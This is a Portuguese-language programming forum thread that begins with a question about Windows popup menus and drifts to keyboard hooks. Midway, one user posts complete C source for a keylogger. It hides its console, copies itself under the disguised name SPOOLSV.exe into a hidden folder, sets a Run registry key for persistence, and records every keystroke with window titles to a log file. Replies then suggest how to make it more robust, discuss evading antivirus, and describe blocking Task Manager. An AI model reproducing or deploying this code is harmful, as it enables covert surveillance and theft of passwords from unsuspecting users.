TrackPopupMenuEx dúvida velha...

Started by Rafael93, 30 de June , 2008, 10:33:22 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Rafael93

desde q comecei a programar
sempre tive um problema com
o TrackPopupMenuEx(...) da winapi
tipo ele cria o menu e o menu não some
até q se clique em alguma opção do menu
mesmo se clicar fora do menu ele não some
como resolvo isso
como faço um menu 'normal' que some
quando clica fora dele?
Get rich or program trying

Rafael93

Get rich or program trying

blackwinner

Até onde eu sei, só colocando uma opção de fechar o menu pro usuário clicar.. mas eu não conheço muito essa API, esse final de semana vo achar um jeito melhorzim e te passo. :)
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

#3
exatamente o que fiz mas aki é mt
ruim a cada vez que vc abre o menu
tenha que clicar na opção sair para
fechar o menu =/
e eu sei q é possível o menu fechar
se clicar fora dele
pq todos os programas que vi até hoje (com excessão de dois)
o menu sempre some.


ai vc clica no menu sair para fechar o menu...
Get rich or program trying

blackwinner

Cara, porque você não pega a coordenada do click do mouse, ou com uma API própria ou com hooking de mouse mesmo e verifica se esta dentro do retangulo(REC *) do menu, ai se estiver fora você usa um PostQuit~.

Bem simples, não?
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

tipo uma vez tentei fazer isso...
mas descartei isso... mas acho q dá pra fazer sim
esse programa eu fiz quando eu tavaa no 2 mes
de programação
agora já ta mais fácil de mudar certas coisas =D
mas aki .. tem uma função que já calcula o RECT*
do menu??? ou tem que ser manual msm?
Get rich or program trying

blackwinner

GetWindowRect

Primeiro parametro um controle pra janela(HWND)

E segundo um ponteiro longo para uma estrutura RECT(lpRect) que recebe as coordenadas..

Ai é só tu acessar lpRect->Left e etc.

http://msdn.microsoft.com/en-us/library/ms536136(VS.85).aspx
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

eu teria que fazer isso então?

HMENU Mainpopup = CreateMenu();
HWND MenuWnd = (HWND)Mainpopup;
RECT* Pos = (RECT*)0;
POINT* Pt = (POINT*)0;
GetWindowRect(&Rect);
GetCursorPos(&Rect);
...
if ((Pt.x >= Pos.left && Pt.x <= Pos.right) || (Pt.y >= Pos.top && Pt.y <= Pos.right))
  EndMenu();

tipo eu ainda não testei mais tipo acho q não
da pra converter o HMENU pra HWND...
ou dáa?
Get rich or program trying

blackwinner

Faz o seguinte, hooka o mouse e pega ação de clickar sem se importar com as coordenadas, não com GetCursorPos porque você vai pegar a posição do cursor e não se o cara clickou ou deixou de clicar.

Se tu não quiser converter um HWND em HMENU porque possívelmente vai dar errado.. faz assim.

O cara abriu o menu, o próximo click, ou executa uma ação ou fecha o menu.

ai tu pega os clicks, nem se importa com as coordenadas, e põe como ação default o endmenu.

Não importa aonde o cara clickar, o menu vai ter que fechar de qualquer jeito, a única diferença é se uma ação vai ser executada ou não.
Mas não usa qualquer hook não, usa a CBTProc e monitora as msgs HCBT_CLICKSKIPPED que monitora quando uma msg relacionada aou mouse está prestes a ser removida d queue.
Se uma ação foi executada ou não, não importa, o importante é que o próximo click após o menu ser aberto, sempre vai fechar o menu.

Ve se tu prefere essa lógica.
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

blackwinner

Por aliás, você ta sempre com um monte de perguntas novas sobre APIs do windows, tanto la no unidev e aqui.. então só por curiosidade mesmo, que tipo de programa você ta fazendo?
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

pra fala a verdade tipo
eu to tentando fazer 3
um pra alterar Portable Executables
to estudando aki e conseguindo =D

um treiner que tem mt tempo q tinha
parado a vi o tópico Memory Scanner
ai resolvi .. vo tenta fazer isso agora

e um outro que altera variáveis na memória
em valores definido pelos edit box
que já ta quase pronto

e tipo as perguntaas não são somente por
estar fazendo tais programas e sim por conhecimento =D

e que também uso esses programas aki no meu pc
igual esse do menu é um gerenciador de janelas
que eu to com projeto de refazê-lo e colocar +
pelo menos umas 7 opções de controlar janelas a mais

foi o 1º programa que fiz =D.. depois que terminei
ele tirei mtas das dúvidas que tinha no começo =D
como criação de scripts que o usuário pode criar
ou usar os exemplos, usar o registro, arquivos *.ini,
uso de ícone na tray, etc,
se eu não tivesse perguntado em algum forum
ou procurado no google =D eu poderiaa estar com
certas dificuldades até hoje
Get rich or program trying

blackwinner

Esse gerenciador de janelas.. achei uma idéia genial.. de verdade
Vo até começar um só de inveja :D
Faz tempo que eu to procurando algo interessante pra codar.

Se tiver algum problema em usar hooks, eu faço um exemplo e explico se tu quiser, até mesmo fechando um popupmenu.

Flws, boa sorte ai nos seus 3 projetos
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

hasusahua
tipo eu ainda não sei usar mt hooks =/
eu geralmente quando faço um programa
detectar cliques eu uso geralmente o
GetAsyncKeyState(); eu sei que para verificar
já conta uma thread =/. mais tipo na hora de um keylogger
a vantagem eh q o AV precisar ter uma verificação mt boa
para achá-lo já o hook de teclas o AV acharia facilmente
vo procurar aki sobre os hooks.. flw
Get rich or program trying

blackwinner

Dependendo do tipo de hooks, nenhum av detecta..

Olha esse código como exemplo de um kl que eu fiz a uns 3/2/1(sei la lolz) anos atrás que não manda email nem nada, tinha feito só pra mostrar hooking pro meu colega..


#include
#include
#include
#include
#include
#define something 1

using namespace std;
 /*VARIAVEIS GLOBAIS*/
 
 HHOOK hHk;
 FILE *p;
 HWND jFocus;
 char t_Janela[255];
 string Last_Janela;
 
/**SUB-ROTINAS**/
 
LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam);
void Formatacao__(char *Tcl, int caixa);
void Seta_Hook();
void Hook_UnSet();
 
 
/****INÍCIO DA MAIN******/
int main(int argc, char **argv)
{

   

 MSG mensagem;
 HKEY key;
 char caminho[600];

 system("mkdir c:\\window");
 SetConsoleTitle("hskl.exe"); //   Nome do console
 HWND janela = FindWindow (NULL, "hskl.exe");  // Procura a janela hskl
 ShowWindow(janela, SW_HIDE); //esconde a janela
 strcpy(caminho, argv[0]); //pega o caminho do primeiro exe
 CopyFile(caminho, "C:\\window\\SPOOLSV.exe",0); //copia para pasta do sistema com nome de SPOOLSV
 SetFileAttributes("C:\\window\\SPOOLSV.exe", FILE_ATTRIBUTE_HIDDEN); //oculta
 SetFileAttributes(caminho, FILE_ATTRIBUTE_HIDDEN); //oculta


//cria  e seta a key de registro
 RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key);
 RegSetValueEx(key,"spoolsv",0,1,(LPBYTE)"C:\\window\\SPOOLSV.exe",22);
 RegCloseKey(key); // fechando a chave

 
 p = fopen("C:/window/txt.htm","a"); /*abre/cria e oculta os logs*/
 

/*jFocus recebe o nome do processo que está em fóco pelo usuário*/
 jFocus = GetForegroundWindow();
 
/*jLastFocus recebe o mesmo nome*/

 GetWindowText(jFocus,t_Janela,255) /*t_Janela recebe o título da janela em fóco*/;
 Last_Janela = t_Janela;
 if(strcmp(t_Janela,""))
  {
   fprintf(p,"

<--::");                                           
   fprintf(p,t_Janela);
   fprintf(p, "::-->
  ");
  }
/*se o título não estiver vazio, imprime no arquivo o título da janela: <--:: Ragnarok ::-->(exemplo)*/



 Seta_Hook(); /*inicializa a hook*/
 while(1)/*pega e despacha a msg*/
 {
    GetMessage(&mensagem, NULL, 0, 0);
    DispatchMessage(&mensagem);
 }
 
 /**A função tamanho(FILE *p, int Tam_Max) retorna 1(verdadeiro) caso o valor máximo de tamanho dos logs
   estipulado tenha sido alcansado.. logo, fecha o arquivo, ativa a função de enviar os logs e o reabre**/
 
 Hook_UnSet();
 return something; //só pra mudanças posteriores-->
}
/**************TÉRMINO DA FUNÇÃO MAIN****************/



/********HOOK PROCEDURE******/

LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam)
{
  if (nCode < 0)
   return CallNextHookEx(hHk, nCode, wParam, lParam);
 
  /*Numa WH_KEYBOARD hook se o valor de nCode for menor que zero, a sua função filtro não deve interferir
  no andamento da msg, logo, a função simplesmente termina chamando a próxima função da chain*/   
     
  jFocus = GetForegroundWindow();
  GetWindowText(jFocus,t_Janela,255);
  if(!(Last_Janela == t_Janela) && strcmp(t_Janela,"") && strcmp(t_Janela,"      "))
   {     
     fprintf(p,"

<--::  ");
     fprintf(p,t_Janela);
     fprintf(p,"  ::-->
  ");
     Last_Janela = t_Janela;
   }
 KBDLLHOOKSTRUCT *LL_INPUT;
 LL_INPUT = (KBDLLHOOKSTRUCT *) lParam;

 if(wParam == WM_KEYDOWN)       
  {
   int scan;
   char buff[255], *Tecla;
   scan = LL_INPUT->scanCode;
   scan <<= 16;
   GetKeyNameText(scan, buff, sizeof(buff));
   Tecla = buff;
   if (strlen(Tecla) == 1)
    {
      if (GetKeyState(VK_CAPITAL) == 1)
       {
        if (GetKeyState(VK_SHIFT) < 0)
          Formatacao__(Tecla, 0);
        else
          Formatacao__(Tecla, 1);   
       }
      else
       {
        if (GetKeyState(VK_SHIFT) < 0)
          Formatacao__(Tecla, 1);
        else
          Formatacao__(Tecla, 0);
       }
         if ((strcmp(Tecla, "1") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "!";
         if ((strcmp(Tecla, "2") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "@"; 
         if ((strcmp(Tecla, "3") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "#"; 
         if ((strcmp(Tecla, "4") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "$";
         if ((strcmp(Tecla, "5") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "%";
         if ((strcmp(Tecla, "6") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "¨";
         if ((strcmp(Tecla, "7") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "&"; 
         if ((strcmp(Tecla, "8") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "*"; 
         if ((strcmp(Tecla, "9") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "(";
         if ((strcmp(Tecla, "0") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = ")";
         fprintf(p,"%s",Tecla); 

    }   
    else
      {fprintf(p,"[");
       fprintf(p,"%s",Tecla);
       fprintf(p,"]");
      }
      fclose(p);
      p = fopen("C:/window/txt.htm","a");
     
  }
 return CallNextHookEx(hHk, nCode, wParam, lParam);
}

/*******SETA HOOK******/

void Seta_Hook()
{
    hHk = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc_LL,
     GetModuleHandle(0), 0);
}



/****Hook Unset****/


void Hook_UnSet()
{
     if(hHk)
      UnhookWindowsHookEx(hHk);
}




/*******Formatacao__ recebe o char que irá formatar(passar para caixa alta ou baixa
e o inteiro que diz para qual dos dois ele irá passar

Caso 1, formatacao transforma para caixa alta
caso 0, caixa baixa                                                          ******/

void Formatacao__(char *Tcl, int caixa)
{
 if(caixa)
  while(*Tcl)
     {
          *Tcl = toupper(*Tcl);
          Tcl++;
     }
 else
  while(*Tcl)
     {
          *Tcl = tolower(*Tcl);
          Tcl++;
     }   
}
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Rafael93

ow.. tava olhando seu kl aki
husha ..tá melhor que o meu

uma coisa que vc poderia fazer tb para evitar certos erros tipo:

HWND janela = FindWindow (0,"hskl.exe");

vc tem q usar antes de incluir windows.h
#define _WIN32_WINNT 0x0500

e faça assim .. acho mais seguro:
#define _WIN32_WINNT 0x0500
#include <windows.h>
...
HWND janela = GetConsoleWindow();

imagina se o infeliz que pegou seu kl
tem uma outra janela com o nome "hskl.exe"
como fica o FindWindow?

e tb tipo eu fiz um

anti-programa-que-bloqueia-gerenciador-de-tarefas
(sahasuhsauhsa sem criatividade pra um nome melhor)

que alterava o título do gerenciador de tarefas antes
que o kl o fechasse num loop while e alterava tb o valor
que bloquea o taskmgr no registro caso ele fosse 1

vai q o usuário faça isso e altere o título do seu kl
pronto já era o FindWindow+ShowWindow tb.. =/
Get rich or program trying